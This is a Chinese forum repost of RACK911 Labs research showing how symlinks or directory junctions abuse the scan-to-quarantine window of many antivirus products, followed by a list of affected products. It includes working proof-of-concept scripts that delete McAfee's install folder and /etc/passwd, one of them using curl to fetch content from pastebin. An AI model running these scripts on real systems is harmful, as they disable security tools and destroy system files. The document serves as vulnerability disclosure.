【转载】部分杀软漏洞可以破坏其自身或系统

确实是个孩子谥

原帖地址：https://www.rack911labs.com/research/exploiting-almost-every-antivirus-software/
原作者：RACK911 Labs

思路：使用Windows的目录毗连或macOS和Linux的符号链接将反病毒软件转变为自我毁灭的工具。

原理：防病毒软件会及时或间断性得执行"及时扫描"，假如发现可疑程序，则该文件会被自动隔离并移动到安全位置，等待用户确认如何处理。由于这一工作原理，且险些全部反病毒软件都在最高权限运行，包罗进行文件操纵时。那么，恶意程序就可以利用这一特性，在反病毒软件扫描后、清理操纵之前的时间窗口里，将被扫描成可疑的文件替换为其他文件的符号链接，从而实现提权删除指定文件。

由于默认情况下，Windows的目录毗连或macOS和Linux的符号链接无需最高权限，极易被利用。

[Bash shell] 纯文本查看 复制代码Windows验证代码（McAfee为例）:looprd /s /q C:\Users\Username\Desktop\exploitmkdir C:\Users\Username\Desktop\exploitecho X5O!P%@AP[4\PZX54(P^^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H* > C:\Users\Username\Desktop\exploit\EpSecApiLib.dllrd /s /q C:\Users\Username\Desktop\exploitmklink /J C:\Users\Username\Desktop\exploit “C:\Program Files (x86)\McAfee\Endpoint Security\Endpoint Security Platform”goto loop


[Bash shell] 纯文本查看 复制代码macOS&Linux验证代码（系统暗码存储文件为例）#!/bin/shrm -rf /Users/Username/exploit ; mkdir /Users/Username/exploitcurl -k https://pastebin.com/raw/jZJ6Ekzt > /Users/Username/exploit/passwdsleep 6rm -rf /Users/Username/exploit ; ln -s /etc /Users/Username/exploit

验证视频详见原网址。

受影响的软件

Windows平台：

Avast Free Anti-Virus
Avira Free Anti-Virus
BitDefender GravityZone
Comodo Endpoint Security
F-Secure Computer Protection
FireEye Endpoint Security
Intercept X (Sophos)
Kaspersky Endpoint Security
Malwarebytes for Windows
McAfee Endpoint Security
Panda Dome
Webroot Secure Anywhere

MacOS：

AVG
BitDefender Total Security
Eset Cyber Security
Kaspersky Internet Security
McAfee Total Protection
Microsoft Defender (BETA)
Norton Security
Sophos Home
Webroot Secure Anywhere

Linux：

BitDefender GravityZone
Comodo Endpoint Security
Eset File Server Security
F-Secure Linux Security
Kaspersy Endpoint Security
McAfee Endpoint Security
Sophos Anti-Virus for Linux
来源：http://www.12558.net
免责声明：如果侵犯了您的权益，请联系站长，我们会及时删除侵权内容，谢谢合作！